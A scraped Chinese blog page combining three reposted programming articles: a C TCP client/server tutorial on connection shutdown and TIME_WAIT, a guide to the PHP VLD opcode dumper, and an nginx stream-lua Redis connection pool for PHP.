</span></li> <li class=””><span class=”preprocessor”>#include &lt;sys/types.h&gt;</span></li> <li class=”alt”><span class=”preprocessor”>#include &lt;sys/socket.h&gt;</span></li> <li class=””><span class=”preprocessor”>#include &lt;stdlib.h&gt;</span></li> <li class=”alt”><span class=”preprocessor”>#include &lt;string.h&gt;</span></li> <li class=””><span class=”preprocessor”>#include &lt;arpa/inet.h&gt;</span></li> <li class=”alt”><span class=”preprocessor”>#include &lt;netinet/in.h&gt;</span></li> <li class=””><span class=”preprocessor”>#include &lt;netinet/ip.h&gt; /* superset of previous */</span></li> <li class=””><span class=”comment”>//#define INADDR_ANY  0</span></li> <li class=””><span class=”preprocessor”>#define ERR_EXIT(m)                    \</span></li> <li class=”alt”><span class=”keyword”>do</span>{                            \</li> <li class=””>                perror(m);             \</li> <li class=”alt”>                exit(EXIT_FAILURE);    \</li> <li class=””>        }<span class=”keyword”>while</span>(0)</li> <li class=”alt”><span class=”datatypes”>int</span> main(){</li> <li class=”alt”><span class=”datatypes”>int</span> listenfd;      <span class=”comment”>//socket返回值,类似于文件描述符,也成为套接字</span></li> <li class=””><span class=”keyword”>if</span>((listenfd = socket(AF_INET,  SOCK_STREAM,  IPPROTO_TCP)) &lt; 0)</li> <li class=”alt”>                ERR_EXIT(<span class=”string”>”SOCKET”</span>);</li> <li class=””><span class=”keyword”>struct</span>  sockaddr_in servaddr;                                <span class=”comment”>//inin IPv4</span></li> <li class=”alt”>        memset(&amp;servaddr,  0 , <span class=”keyword”>sizeof</span>(servaddr));                 <span class=”comment”>//inint memory</span></li> <li class=””>        servaddr.sin_family = AF_INET;</li> <li class=”alt”>        servaddr.sin_port   = htons(5188);</li> <li class=””>        servaddr.sin_addr.s_addr = htonl(INADDR_ANY);</li> <li class=”alt”><span class=”comment”>//      servaddr.sin_addr.s_addr = inet_addr(192.0.0.1);</span></li> <li class=””><span class=”comment”>//      inet_aton(“127.0.0.1″, &amp;servaddr.sin_addr);</span></li> <li class=””><span class=”keyword”>if</span>((bind(listenfd,  (<span class=”keyword”>struct</span> sockaddr*)&amp;servaddr,  <span class=”keyword”>sizeof</span>(servaddr))) &lt; 0 )     <span class=”comment”>//bind  serve and IPv4</span></li> <li class=”alt”>                ERR_EXIT(<span class=”string”>”bind”</span>);</li> <li class=””><span class=”keyword”>if</span> ((listen(listenfd, SOMAXCONN)) &lt; 0)                                 <span class=”comment”>//change  state (from initiative to passivity)</span></li> <li class=”alt”>                ERR_EXIT(<span class=”string”>”LISTEN”</span>);</li> <li class=”alt”><span class=”datatypes”>int</span> conn;                                                              <span class=”comment”>//accept’s  backvalue,is a connect socket</span></li> <li class=””><span class=”keyword”>struct</span> sockaddr_in peeraddr;</li> <li class=”alt”>        socklen_t peerlen = <span class=”keyword”>sizeof</span>(peeraddr);</li> <li class=””><span class=”keyword”>if</span>((conn = (accept(listenfd, (<span class=”keyword”>struct</span> sockaddr*)(&amp;peeraddr), &amp;peerlen))) &lt; 0)</li> <li class=”alt”>                ERR_EXIT(<span class=”string”>”accept”</span>);</li> <li class=””>        printf(<span class=”string”>”ip is %s,  port is %d\n”</span>, inet_ntoa(peeraddr.sin_addr), ntohs(peeraddr.sin_port));</li> <li class=”alt”><span class=”comment”>//      printf(“ip=%d\n”, ntohs(peeraddr.sin_port));</span></li> <li class=””><span class=”datatypes”>char</span> recvbuf[1024];</li> <li class=”alt”><span class=”keyword”>while</span>(1){</li> <li class=””>                memset(recvbuf, 0 , <span class=”keyword”>sizeof</span>(recvbuf));  <span class=”comment”>//inint  string</span></li> <li class=”alt”><span class=”datatypes”>int</span> ret = read(conn , recvbuf, <span class=”keyword”>sizeof</span>(recvbuf)); <span class=”comment”>//receive a string </span></li> <li class=””>                 printf(<span class=”string”>”服务端:%s”</span>, recvbuf);</li> <li class=”alt”><span class=”datatypes”>int</span> r = write(conn,  recvbuf, ret);</li> <li class=””>        }</li> <li class=”alt”>        close(conn);</li> <li class=””>        close(listenfd);</li> <li class=”alt”>}</li> </ol> </div> 客户端: <div class=”dp-highlighter bg_cpp”> <div class=”bar”> <div class=”tools”><b>

view plain copy

  1. #include <stdio.h>
  2. #include <sys/types.h>
  3. #include <sys/socket.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <arpa/inet.h>
  7. #include <netinet/in.h>
  8. #define ERR_EXIT(m)                    \
  9. do{                            \
  10.                 perror(m);             \
  11.                 exit(EXIT_FAILURE);    \
  12.         }while(0)
  13. int main(){
  14. int sock;      //socket返回值,类似于文件描述符,也成为套接字
  15. if((sock = socket(AF_INET,  SOCK_STREAM,  IPPROTO_TCP)) < 0)
  16.                 ERR_EXIT(“SOCKET”);
  17. struct  sockaddr_in servaddr;                                //inin IPv4
  18.         memset(&servaddr,  0 , sizeof(servaddr));                 //inint memory
  19.         servaddr.sin_family = AF_INET;
  20.         servaddr.sin_port  = htons(5188);
  21.         servaddr.sin_addr.s_addr  = inet_addr(“127.0.0.1”);
  22. //     inet_aton(“127.0.0.1”, &servaddr.sin_addr);
  23. if (connect(sock,  (struct sockaddr*)&servaddr, sizeof(servaddr)) < 0)
  24.                 ERR_EXIT(“CONNECT”);
  25. char sendrec[1024] = {0};
  26. char recerec[1024] = {0};
  27. while( fgets(sendrec  , sizeof(sendrec),  stdin) != NULL){
  28.                 write(sock , sendrec, strlen(sendrec));
  29.                 read(sock,   recerec, sizeof(recerec));
  30.                 printf(“客户端:  %s\n”, recerec);
  31.                 memset(sendrec , 0,  sizeof(sendrec));
  32.                 memset(recerec,  0,  sizeof(sendrec));
  33.         }
  34.         close(sock);
  35. }

1, 关于客户端还是服务端退出的先后顺序??

至于是服务器还是客户端是谁先启动的,这个应该比较确定,服务器首先启动,bind处于祯听状态(祯听连接的客户端的个数),accept接受来自客户端的数据请求,然后对数据进行处理,并把数据返回给客户端,倘使是客户端先启动的话,那么它发送的数据也就不能完全的保证服务端是不是打开,影响数据传输的准确性和安全性

UNIX网络编程(基本TCP套接字编程78页)给出了一个解释说的是:当我们关闭客户端后,客户端会发送一个数据(EOF,也就是-1),然后服务端通过read()函数收到这个数据,,知道了客户端已经退出,所以服务端也就推出了程序,并且调用相应的close操作。(个人理解)

我们来验证一下:

从上面可以看出来,完美的把数据发送到了服务端并把数据发送回来啦,

但是:如果我们先结束服务端呢??

从上图还可以看出:如果我们先结束了服务器(ctrl+c),那么客户端是不会立即退出的,可是在发一次数据便会自动退出,这是因为在正常通信中,服务器关闭了连接,那么客户端会正常接收到EOF,,如果对这个连接用epoll或者select进行监听,可以马上得知服务器关闭了连接。否则就定时向服务器发心跳探测,不然是不太可能得知服务器目前的状态的。之所以你现在不会立刻发现问题是因为服务器退出后,客户端需要靠下一次send才会触发问题,因为这时候连接已关闭,而客户端继续写,会产生SIGPIPE异常,而这个异常的默认动作是进程终止,所以你的客户端退出了。

如果:是我们的客户端先结束的呢??

同样的,从上图可以看出,当我们的客户端先结束后(ctrl + c),我们的服务器直接进入死循环,但是是为什么呢??

经过不断的查错:才发现是我们没有对服务端的while里面进行退出程序的处理,里面刚好有一个,printf打印的语句,所以会出现安一直循环的情况,我们把里面的语句改一下:

</b><a class=”ViewSource” title=”view plain” href=”http://blog.csdn.net/msdnwolaile/article/details/50743254#” target=”_blank”>view plain</a><span data-mod=”popu_168″><span data-mod=”popu_168″> <a class=”CopyToClipboard” title=”copy” href=”http://blog.csdn.net/msdnwolaile/article/details/50743254#” target=”_blank”>copy</a></span></span> <div><embed id=”ZeroClipboardMovie_3″ src=”http://static.blog.csdn.net/scripts/ZeroClipboard/ZeroClipboard.swf” type=”application/x-shockwave-flash” width=”18″ height=”18″ align=”middle” name=”ZeroClipboardMovie_3″></embed></div> </div> </div> <ol class=”dp-cpp” start=”1″> <li class=”alt”><span class=”keyword”>while</span>(1){</li> <li class=””>                 memset(recvbuf, 0 , <span class=”keyword”>sizeof</span>(recvbuf));</li> <li class=”alt”><span class=”datatypes”>int</span> ri = read(conn , recvbuf, <span class=”keyword”>sizeof</span>(recvbuf)); <span class=”comment”>//receive a stri</span></li> <li class=””><span class=”comment”>//              int ret = (sizeof(recvbuf));</span></li> <li class=”alt”><span class=”keyword”>if</span> ( ri == -1){</li> <li class=””>                              printf(<span class=”string”>”one client closed\n”</span>);</li> <li class=”alt”><span class=”keyword”>break</span>;</li> <li class=””>                        }</li> <li class=”alt”>                 printf(<span class=”string”>”服务端:%s,”</span>, recvbuf);</li> <li class=””><span class=”datatypes”>int</span> r = write(conn,  recvbuf, ri);</li> <li class=”alt”>                }</li> <li class=””>        }</li> </ol> </div> 嗯嗯,这回应该好啦(因为客户端结束后传回的是EOF,read是服务端接收客户端的消息,所以我们就让read等于-1)但是,但是,但是,不幸的是,这个语句还是没有起作用,就是说,当客户端结束后,服务端还是在死循环里面??这又是为什m,啊啊啊啊啊???(博主快爆炸了都!!!) 后来经过经过仔细的查资料,才发现这个:当客户端结束后,服务端read()函数返回的应该是0,而不是-1,, 所以我的程序有改了一改: <div class=”dp-highlighter bg_cpp”> <div class=”bar”> <div class=”tools”><b>

view plain copy

  1. while(1){
  2.                  memset(recvbuf, 0 , sizeof(recvbuf));
  3. int ri = read(conn , recvbuf, sizeof(recvbuf)); //receive a stri
  4. //              int ret = (sizeof(recvbuf));
  5. if ( ri == 0){
  6. break;
  7.                         }
  8.                  printf(“服务端:%s,”, recvbuf);
  9. int r = write(conn,  recvbuf, ri);
  10.                 }
  11.         }

嗯嗯,这样就好啦,可以对其进行处理了!!!!

当然,对于多个客户端的情况就是这样了:

  1. while(1){
  2. if((conn = (accept(listenfd, (struct sockaddr*)(&peeraddr), &peerlen))) < 0)
  3.                         ERR_EXIT(“accept”);
  4.                 printf(“ip is %s,  port is %d\n”, inet_ntoa(peeraddr.sin_addr), ntohs(peeraddr.sin_port));
  5. //              printf(“ip=%d\n”, ntohs(peeraddr.sin_port));
  6.                 pid = fork();
  7. if(pid == -1)
  8.                         ERR_EXIT(“fork”);
  9. else if(pid == 0){
  10.                         close(listenfd);
  11.                         do_service(conn);
  12.                         exit(1);
  13.                 }
  14. else
  15.                         close(conn);
  16.         }

我们上面程序里的do_service(conn)函数,其实就是之前提到的while,对数据进行具体的收发这里,为了完成多个客户端的访问情况,我们设置了进程(fork)

所以可以完全看到合理的结果,最左边的那个客户端退出了之后,服务端并没有退出,同样的,最右边的客户端还是可以收发数据的!!!

当然,一个客户端一个服务器的情况,同样的,对于多个客户端也是如此的,我们的某一个客户端退出并不会影响服务器的运行结果的,哈哈,对,就是这样!!!,举一个例子:我们好多人在同时访问百度服务器,但是,我们不能让某一个人退出这个页面,而导致其他的人的页面也退出啊!!!

2,  bind:address already in use一直存在,它就关不掉

首先,我们先声明:bind:address already in use的存在是合理的,在服务端终止之后,会有一个TIME_WAIT的状态,再次打开会出现:bind的

但是,服务器端可以尽可能的使用REUSEADDR(在绑定之前尽可能调用setsockopt来设置REUSEADDR)套接字选项,这样就可以使得不必等待TIME_WAIT状态就可以重启服务器了,也就是说:TIME_WAIT状态还是存在的,但是不影响我们重新启动服务器

 

下面讨论的情况还是一样:一个客户端,一个服务器,根据上面说的情况,还是服务端先退出,然后是客户端,但是为什么:bind:address  already  in  use 还是一直存在(即使我们等了好长时间),其实这个很简单,那只是因为我们在退出服务端或者客户端的时候,我们是用了 CTRL + Z,这个退出条件,跟CTRL+C搞混了!!!

CTRL+C:发送SIGINT信号给前台进程组中的所有进程。常用于终止正在运行的程序,强制中断程序的执行

CTRL+Z:发送SIGTSTP信号给前台进程组中的所有进程,常用于挂起一个进程,是将任务中断,但是此任务并没有结束,它仍然在进程中他只是维持挂起的状态,用户可以使用fg/bg操作继续前台或后台的任务,fg命令重新启动前台被中断的任务,bg命令把被中断的任务放在后台执行

通过我们上面所说的:可以使用这个命令查看状态

2,当我们用:CTRL+C结束时:

可以看到右下角:出现了TIME_WAIT

当我们想重新运行这两个程序时:就会出现(bind:address already in use)的情况(我们在两分钟以内运行)

但是,当我们等上个2-4分钟后,然后在运行,就又没有这种情况了,很好解释,那只是因为在一定的时间内这个端口还被占用着,没有来的及释放,但是2-4分钟后,端口释放完毕,所以可以正常的运行这个程序了

当我们用:CTRL+Z结束时:

 

同样的:我们可以看到右下角:出现的是ESTABLISHED,但是不一样的是,无论我们等多久,只要我们一运行这个服务端程序,必定会出现bind:address already in use,并且这个不会自动消失,除非我们杀死这个进程,或者我们进到程序里面改一下端口号

ESTABLISHED的意思是建立连接。表示两台机器正在通信

TIME_WAIT:我方主动调用close()断开连接,收到对方确认后状态变为TIME_WAIT。TCP协议规定TIME_WAIT状态会一直持续2MSL(即两倍的分 段最大生存期),以此来确保旧的连接状态不会对新连接产生影响。处于TIME_WAIT状态的连接占用的资源不会被内核释放,所以作为服务器,在可能的情 况下,尽量不要主动断开连接,以减少TIME_WAIT状态造成的资源浪费。目前有一种避免TIME_WAIT资源浪费的方法,就是关闭socket的LINGER选项。但这种做法是TCP协议不推荐使用的,在某些情况下这个操作可能会带来错误。

3,当我们用:setsockopt和SO_REUSEADDR时:充分的减少了等待时间,在一次的通讯完毕,可以直接再次的运行这个程序,这样就不会出现上面如:bind:address already in use

程序如下(在bind之前调用,提高端口的重用行):

运行结果:

可以看到我们可以直接运行,无压力,但是当我们用:netstat -an|grep TIME_WAIT时,还是显示TIME_WAIT,但这个并不影响我们的结果

2

VLD扩展使用指南

原文链接:http://www.phppan.com/2011/05/vld-extension/

VLD(Vulcan Logic Dumper)是一个在Zend引擎中,以挂钩的方式实现的用于输出PHP脚本生成的中间代码(执行单元)的扩展。 它可以在一定程序上查看Zend引擎内部的一些实现原理,是我们学习PHP源码的必备良器。它的作者是Derick Rethans, 除了VLD扩展,我们常用的XDebug扩展的也有该牛人的身影。

VLD扩展是一个开源的项目,在这里可以下载到最新的版本,虽然最新版本的更新也是一年前的事了。 作者没有提供编译好的扩展,Win下使用VC6.0编译生成dll文件,可以看我之前写过的一篇文章(使用VC6.0生成VLD扩展)。 *nix系统下直接configue,make,make install生成。如果遇到问题,请自行Google之。

看一个简单的例子,假如存在t.php文件,其内容如下:

$a = 10;
echo $a;

在命令行下使用VLD扩展显示信息。

php -dvld.active=1 t.php

-dvld.active=1表示激活VLD扩展,使用VLD扩展输出中间代码,此命令在CMD中输出信息为:

Branch analysis from position: 0
Return found
filename:       D:\work\xampp\xampp\php\t.php
function name:  (null)
number of ops:  5
compiled vars:  !0 = $a
line     # *  op                           fetch          ext  return  operands
---------------------------------------------------------------------------------
   2     0  >   EXT_STMT
         1      ASSIGN                                                   !0, 10
   3     2      EXT_STMT
         3      ECHO                                                     !0
   4     4    > RETURN                                                   1

branch: #  0; line:     2-    4; sop:     0; eop:     4
path #1: 0,
10

如上为VLD输出的PHP代码生成的中间代码的信息,说明如下:

  • Branch analysis from position 这条信息多在分析数组时使用。
  • Return found 是否返回,这个基本上有都有。
  • filename 分析的文件名
  • function name 函数名,针对每个函数VLD都会生成一段如上的独立的信息,这里显示当前函数的名称
  • number of ops 生成的操作数
  • compiled vars 编译期间的变量,这些变量是在PHP5后添加的,它是一个缓存优化。这样的变量在PHP源码中以IS_CV标记。
  • op list 生成的中间代码的变量列表

使用-dvld.active参数输出的是VLD默认设置,如果想看更加详细的内容。可以使用-dvld.verbosity参数。

php -dvld.active=1 -dvld.verbosity=3 t.php

-dvld.verbosity=3或更大的值的效果都是一样的,它们是VLD在当前版本可以显示的最详细的信息了,包括各个中间代码的操作数等。显示结果如下:

Finding entry points
Branch analysis from position: 0
Add 0
Add 1
Add 2
Add 3
Add 4
Return found
filename:       D:\work\xampp\xampp\php\t.php
function name:  (null)
number of ops:  5
compiled vars:  !0 = $a
line     # *  op                           fetch          ext  return  operands
--------------------------------------------------------------------------------
-
   2     0  >   EXT_STMT                                          RES[  IS_UNUSED  ]         OP1[  IS_UNUSED  ] OP2[  IS_UNUSED  ]
         1      ASSIGN                                                    OP1[IS_CV !0 ] OP2[ ,  IS_CONST (0) 10 ]
   3     2      EXT_STMT                                          RES[  IS_UNUSED  ]         OP1[  IS_UNUSED  ] OP2[  IS_UNUSED  ]
         3      ECHO                                                      OP1[IS_CV !0 ]
         4    > RETURN                                                    OP1[IS_CONST (0) 1 ]

branch: #  0; line:     2-    3; sop:     0; eop:     4
path #1: 0,
10

以上的信息与没有加-dvld.verbosity=3的输出相比,多了Add 字段,还有中间代码的操作数的类型,如IS_CV,IS_CONST等。 PHP代码中的$a = 10; 其中10的类型为IS_CONST, $a作为一个编译期间的一个缓存变量存在,其类型为IS_CV。

如果我们只是想要看输出的中间代码,并不想执行这段PHP代码,可以使用-dvld.execute=0来禁用代码的执行。

php -dvld.active=1 -dvld.execute=0 t.php

运行这个命令,你会发现这与最开始的输出有一点点不同,它没有输出10。 除了直接在屏幕上输出以外,VLD扩展还支持输出.dot文件,如下的命令:

php -dvld.active=1 -dvld.save_dir='D:\tmp' -dvld.save_paths=1 -dvld.dump_paths=1 t.php

以上的命令的意思是将生成的中间代码的一些信息输出在D:/tmp/paths.dot文件中。 -dvld.save_dir指定文件输出的路径,-dvld.save_paths控制是否输出文件,-dvld.dump_paths控制输出的内容,现在只有0和1两种情况。 输出的文件名已经在程序中硬编码为paths.dot。这三个参数是相互依赖的关系,一般都会同时出现。

总结一下,VLD扩展的参数列表:

  • -dvld.active 是否在执行PHP时激活VLD挂钩,默认为0,表示禁用。可以使用-dvld.active=1启用。
  • -dvld.skip_prepend 是否跳过php.ini配置文件中auto_prepend_file指定的文件, 默认为0,即不跳过包含的文件,显示这些包含的文件中的代码所生成的中间代码。此参数生效有一个前提条件:-dvld.execute=0
  • -dvld.skip_append 是否跳过php.ini配置文件中auto_append_file指定的文件, 默认为0,即不跳过包含的文件,显示这些包含的文件中的代码所生成的中间代码。此参数生效有一个前提条件:-dvld.execute=0
  • -dvld.execute 是否执行这段PHP脚本,默认值为1,表示执行。可以使用-dvld.execute=0,表示只显示中间代码,不执行生成的中间代码。
  • -dvld.format 是否以自定义的格式显示,默认为0,表示否。可以使用-dvld.format=1,表示以自己定义的格式显示。这里自定义的格式输出是以-dvld.col_sep指定的参数间隔
  • -dvld.col_sep 在-dvld.format参数启用时此函数才会有效,默认为 “\t”。
  • -dvld.verbosity 是否显示更详细的信息,默认为1,其值可以为0,1,2,3 其实比0小的也可以,只是效果和0一样,比如0.1之类,但是负数除外,负数和效果和3的效果一样 比3大的值也是可以的,只是效果和3一样。
  • -dvld.save_dir 指定文件输出的路径,默认路径为/tmp。
  • -dvld.save_paths 控制是否输出文件,默认为0,表示不输出文件
  • -dvld.dump_paths 控制输出的内容,现在只有0和1两种情况,默认为1,输出内容

[转]史上最LOW的PHP连接池解决方案

原文链接:https://huoding.com/2017/09/10/635?hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io
大多数 PHP 程序员从来没有使用过连接池,主要原因是按照 PHP 本身的运行机制并不容易实现连接池,于是乎 PHP 程序员一方面不得不承受其它程序员的冷嘲热讽,另一方面还得面对频繁短链接导致的性能低下和 TIME_WAIT 等问题。

说到这,我猜一定会有 PHP 程序员跳出来说可以使用长连接啊,效果是一样一样的。比如以 PHP 中最流行的 Redis 模块 PhpRedis 为例,便有 pconnect 方法可用,通过它可以复用之前创建的连接,效果和使用连接池差不多。可惜实际情况是 PHP 中各个模块的长连接方法并不好用,基本上是鸡肋一样的存在,原因如下:

首先,按照 PHP 的运行机制,长连接在建立之后只能寄居在工作进程之上,也就是说有多少个工作进程,就有多少个长连接,打个比方,我们有 10 台 PHP 服务器,每台启动 1000 个 PHP-FPM 工作进程,它们连接同一个 Redis 实例,那么此 Redis 实例上最多将存在 10000 个长连接,数量完全失控了!
其次,PHP 的长连接本身并不健壮。一旦网络异常导致长连接失效,没有办法自动关闭重新连接,以至于后续请求全部失败,此时除了重启服务别无它法!
问题分析到这里似乎进入了死胡同:按常规做法是没法实现 PHP 连接池了。

别急着,如果问题比较棘手,我们不妨绕着走。让我们把目光聚焦到 Nginx 的身上,其 stream 模块实现了 TCP/UDP 服务的负载均衡,同时借助 stream-lua 模块,我们就可以实现可编程的 stream 服务,也就是用 Nginx 实现自定义的 TCP/UDP 服务!当然你可以自己从头写 TCP/UDP 服务,不过站在 Nginx 肩膀上无疑是更省时省力的选择。

不过 Nginx 和 PHP 连接池有什么关系?且听我慢慢道来:通常大部分 PHP 是搭配 Nginx 来使用的,而且 PHP 和 Nginx 多半是在同一台服务器上。有了这个客观条件,我们就可以利用 Nginx 来实现一个连接池,在 Nginx 上完成连接 Redis 等服务的工作,然后 PHP 通过本地的 Unix Domain Socket 来连接 Nginx,如此一来既规避了短链接的种种弊端,也享受到了连接池带来的种种好处。

PHP Pool
PHP Pool

下面以 Redis 为例来讲解一下实现过程,事先最好对 Redis 交互协议有一定的了解,推荐阅读官方文档或中文翻译,具体实现可以参考 lua-resty-redis 库,虽然它只是一个客户端库,但是 Redis 客户端请求和服务端响应实际上格式是差不多通用的。

首先在 nginx.conf 文件中加入如下配置:

stream {
lua_code_cache on;
lua_socket_log_errors on;
lua_check_client_abort on;
lua_package_path “/path/to/?.lua;;”;

server {
listen unix:/tmp/redis.sock;

content_by_lua_block {
local redis = require “redis”
pool = redis:new({ ip = “…”, port = “…” })
pool:run()
}
}
}
然后在 lua_package_path 配置的路径上创建 redis.lua 文件:

local redis = require “resty.redis”

local assert = assert
local print = print
local rawget = rawget
local setmetatable = setmetatable
local tonumber = tonumber
local byte = string.byte
local sub = string.sub

local function parse(sock)
local line, err = sock:receive()

if not line then
if err == “timeout” then
sock:close()
end

return nil, err
end

local result = line .. “\r\n”
local prefix = byte(line)

if prefix == 42 then — char ‘*’
local num = tonumber(sub(line, 2))

if num <= 0 then return result end for i = 1, num do local res, err = parse(sock) if res == nil then return nil, err end result = result .. res end elseif prefix == 36 then -- char '$' local size = tonumber(sub(line, 2)) if size <= 0 then return result end local res, err = sock:receive(size) if not res then return nil, err end local crlf, err = sock:receive(2) if not crlf then return nil, err end result = result .. res .. crlf end return result end local function exit(err) ngx.log(ngx.NOTICE, err) return ngx.exit(ngx.ERROR) end local _M = {} _M._VERSION = "1.0" function _M.new(self, config) local t = { _ip = config.ip or "127.0.0.1", _port = config.port or 6379, _timeout = config.timeout or 100, _size = config.size or 10, _auth = config.auth, } return setmetatable(t, { __index = _M }) end function _M.run(self) local ip = self._ip local port = self._port local timeout = self._timeout local size = self._size local auth = self._auth local downstream_sock = assert(ngx.req.socket(true)) while true do local res, err = parse(downstream_sock) if not res then return exit(err) end local red = redis:new() local ok, err = red:connect(ip, port) if not ok then return exit(err) end if auth then local times = assert(red:get_reused_times()) if times == 0 then local ok, err = red:auth(auth) if not ok then return exit(err) end end end local upstream_sock = rawget(red, "_sock") upstream_sock:send(res) local res, err = parse(upstream_sock) if not res then return exit(err) end red:set_keepalive(timeout, size) downstream_sock:send(res) end end return _M 见证奇迹的时候到了,测试的 PHP 脚本内容如下: connect(‘/tmp/redis.sock’);
// $redis->connect(‘ip’, ‘port’);

$redis->set(“foo”, bar);
$foo = $redis->get(“foo”);
var_dump($foo);
}

?>
可惜测试的时候,不管是通过 /tmp/redis.sock 连接,还是通过 ip 和 port 连接,结果效率都差不多,完全不符合我们开始的分析,挂上 strace 看看发生了什么:

shell> strace -f …
[pid …] recvfrom(…, “QUIT\r\n”, 4096, 0, NULL, NULL) = 6
[pid …] sendto(…, “QUIT\r\n”, 6, 0, NULL, 0) = 6
原来是因为 PhpRedis 发送了 QUIT,结果我们连接池里的连接都被关闭了。不过这个问题好解决,不要使用 connect,换成 pconnect 即可:

pconnect(‘/tmp/redis.sock’);
?>
再次测试,结果发现在本例中,使用连接池前后,效率提升了 50% 左右。注意,此结论仅仅保证在我的测试里有效,如果你测试的话,视情况可能有差异。

说到这里,没搞清楚原委的读者可能会质疑:你不是说 PHP 里的长连接是鸡肋么,怎么自己在测试里又用了长连接!本文使用 pconnect,只是为了屏蔽 QUIT 请求,而且仅仅在本地使用,没有数量和网络异常的隐忧,此时完全没有问题,并且实际上我们也可以在 redis.lua 里过滤 QUIT 请求,篇幅所限,我就不做这个实现了。

鲁迅说:真的猛士,敢于直面惨淡的人生,敢于正视淋漓的鲜血。从这个角度看,本文的做法实在是 LOW,不过换个角度看,二战中德军对付马其诺防线也干过类似的勾当,所以管它 LOW 不 LOW,能解决问题的方法就是好方法。